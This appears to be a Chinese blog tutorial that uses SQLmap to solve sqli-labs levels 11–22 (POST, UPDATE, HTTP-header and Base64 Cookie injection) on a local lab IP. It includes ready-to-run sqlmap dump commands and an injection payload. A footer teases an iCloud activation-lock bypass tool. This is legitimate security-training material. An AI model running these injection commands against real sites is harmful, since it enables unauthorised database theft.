news 2026/6/25 13:05:38

SQLmap 通关 sqli-labs 系列(三):POST、UPDATE 与 HTTP 头注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQLmap 通关 sqli-labs 系列(三):POST、UPDATE 与 HTTP 头注入

摘要:上一篇我们拿下了 GET 型注入的各种变体。现实世界的登录、搜索、用户中心几乎都使用 POST 方法传递数据,注入点还经常藏在 Cookie、User-Agent、Referer 等 HTTP 头中。本篇将用 SQLmap 彻底解决 Less-11 到 Less-22,涵盖 POST 报错注入、双注入、盲注、UPDATE 注入、User-Agent/Referer 注入、Cookie 注入以及 Base64 编码的 Cookie。我们将重点学习--data-r请求文件、--level--risk--tamper=base64encode等核心参数,让任何位置的注入点都无所遁形。


一、新场景:当注入点不在 URL 中

手工注入时,我们需要用 Burp Suite 抓包,修改 POST 数据或者头字段。SQLmap 同样需要知道完整的请求信息。它提供了两种方式:

  • --data:直接指定 POST 数据字符串。

  • -r:读取一个完整的 HTTP 请求文件。


二、POST 注入核心关卡:Less-11 到 Less-17

2.1 准备工作:抓取请求文件

首先,在浏览器中访问 sqli-labs,打开 Less-11 登录页面。用 Burp Suite 拦截登录请求(用户名 admin,密码 admin,提交),将截获的完整请求(包含 Host、Cookie、Content-Type 和 POST body)复制保存为less.txt。内容大致如下:

这就是我们日后反复使用的“模板”。每个关卡只需修改 URL 路径和请求体中的参数即可。

2.2 Less-11:POST 报错注入
sqlmap -r less.txt --batch --dbs

SQLmap 会测试unamepasswd,最终输出:

选择uname作为注入点,然后继续枚举表、列、数据:

sqlmap -r less.txt -D security --tables --batch sqlmap -r less.txt -D security -T users --columns --batch sqlmap -r less.txt -D security -T users --dump --batch

2.3 Less-12:POST 括号双引号

抓取 Less-12 的登录请求,修改less.txt

命令不变:

sqlmap -r less.txt --batch --dbs

SQLmap 自动用")闭合,无需人工干预。

2.4 Less-13 和 Less-14:POST 双注入

Less-13 为单引号括号双注入,Less-14 为双引号。同样使用-r文件:

sqlmap -r less.txt --batch --dbs

皆可秒破。

2.5 Less-15 和 Less-16:POST 盲注
sqlmap -r less.txt --technique B --batch --dbs //布尔盲注
sqlmap -r less.txt --technique T --time-sec 2 --batch --dbs //时间盲注

可指定,盲注过程稍长,耐心等待即可。

2.6 Less-17:UPDATE 注入(密码修改)

这一关是修改密码的表单,后台执行UPDATE users SET password='...' WHERE username='...',注入点在用户名处。抓取修改密码的请求(提供新密码),保存为less.txt,然后:

sqlmap -r less.txt --batch --dbs

SQLmap 会发现uname参数存在注入。注意,这里因为执行的是 UPDATE,可能存在数据变更风险,但 sqli-labs 可随时重置。


三、HTTP 头注入:Less-18 和 Less-19

3.1 升级探测等级:--level--risk

SQLmap 默认只测试 GET 和 POST 参数(--level 1)。要测试其他位置,必须提高 level:

  • --level 2:增加Cookie测试。

  • --level 3:增加User-AgentReferer测试。

  • --level 4-5:测试更多 Header。

--risk是风险等级,值越高,Payload 越激进(如使用 OR、SLEEP 等),在 sqli-labs 中我们可放心使用--risk 2或 3。

3.2 Less-18:User-Agent 注入

关卡行为:登录成功后,页面会将你的 User-Agent 和 IP 插入数据库。注入点在User-Agent头。

sqlmap -r less.txt --level 3 --risk 2 --batch --dbs

SQLmap 在测试User-Agent参数时会输出:

避坑指南:如果没测出,多半是 Cookie 已过期,导致登录状态失效,页面没有执行 INSERT 操作。务必使用刚登录后的有效请求。

3.3 Less-19:Referer 注入

与 Less-18 几乎一样,只是注入点换成了Referer头。抓取任意包含 Referer 的请求,保存为less.txt,然后用同样命令:

sqlmap -r less.txt --level 3 --risk 2 --batch --dbs


四、Cookie 注入:Less-20、Less-21、Less-22

4.1 Less-20:明文 Cookie 注入

登录后,Less-20 将用户名存入 Cookie(uname=admin),并在查询时拼接。在--level 2下,Cookie 会被测试。直接用--cookie参数:

sqlmap -u "http://192.168.137.1/sqli-labs/Less-20/" --cookie="uname=admin" --level 2 --batch --dbs

4.2 Less-21:Cookie Base64 编码注入

后台逻辑:base64_decode($_COOKIE['uname'])后拼入 SQL。直接送' or 1=1#会因编码失效。我们需要使用 Tamper 脚本base64encode,它在 Payload 发送前先进行 Base64 编码。

sqlmap -u "http://192.168.137.1/sqli-labs/Less-21/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs

你会看到提示加载了base64encode模块,随后注入成功。

4.3 Less-22:Cookie Base64 双引号

闭合方式不同,但方法完全一样:

sqlmap -u "http://192.168.137.1/sqli-labs/Less-22/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs


五、总结

通过本文,你将 POST 注入、UPDATE 注入、HTTP 头注入、Cookie 注入尽数掌握。核心要点回顾:

  • -r文件保存完整请求,可复用 Cookie 和所有 Header。

  • 灵活运用--level--risk扩大测试范围。

  • 遇到 Base64 编码,用--tamper=base64encode一键适配。

真正的强大,在于知道工具背后发生了什么。当你看着 Tamper 脚本变形 Payload 时,请回想手工注入的奇技淫巧,它们本是一脉相承。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/25 13:00:49

终极掌机伴侣:如何让Windows掌机游戏体验更专业完整?

终极掌机伴侣:如何让Windows掌机游戏体验更专业完整? 【免费下载链接】HandheldCompanion ControllerService 项目地址: https://gitcode.com/gh_mirrors/ha/HandheldCompanion 你是否曾经为Windows掌机游戏体验不够流畅而烦恼?Handhe…

作者头像 李华
网站建设 2026/6/25 13:00:38

LarkMidTable终极指南:一站式开源数据中台完整教程

LarkMidTable终极指南:一站式开源数据中台完整教程 【免费下载链接】LarkMidTable LarkMidTable 是一站式开源的数据中台,实现中台的 基础建设,数据治理,数据开发,监控告警,数据服务,数据的可视…

作者头像 李华
网站建设 2026/6/25 13:00:12

LangChain 6大核心参数详解 + 代码实战,看完就能直接用

喜欢看文章的接着往下看,习惯看视频的看这里《9. LangChain 6大核心参数详解 代码实战,看完就能直接用》。 init_chat_model(model: str | None None,*,model_provider: str | None None,configurable_fields: Literal[any] | list[str] | tuple[str,…

作者头像 李华
网站建设 2026/6/25 12:59:42

监督学习与无监督学习的本质区别及工业落地指南

1. 项目概述:从真实项目现场讲清监督与无监督学习的本质分野我带过二十多个工业级机器学习落地项目,从银行风控模型到工厂设备故障预测,再到零售门店销量归因分析。每次新同事入职,我都会让他们先花三天时间反复跑通两个最基础但最…

作者头像 李华
网站建设 2026/6/25 12:57:15

如何通过5个步骤绕过iOS 15-16激活锁:AppleRa1n开源工具详解

如何通过5个步骤绕过iOS 15-16激活锁:AppleRa1n开源工具详解 【免费下载链接】applera1n icloud bypass for ios 15-16 项目地址: https://gitcode.com/gh_mirrors/ap/applera1n 面对二手iPhone或忘记Apple ID密码导致的设备激活锁问题,你是否感到…

作者头像 李华
网站建设 2026/6/25 12:56:37

NUC980与ESP32的SPI-WiFi联调实战:从驱动编译到网络连通

1. 环境准备与硬件连接 在开始NUC980与ESP32的SPI-WiFi联调之前,我们需要先准备好开发环境和硬件连接。我用的NUC980开发板是新唐官方的NUC980DK61Y,ESP32模块是常见的ESP32-WROOM-32。硬件连接上,ESP32作为SPI从设备,通过SPI总线…

作者头像 李华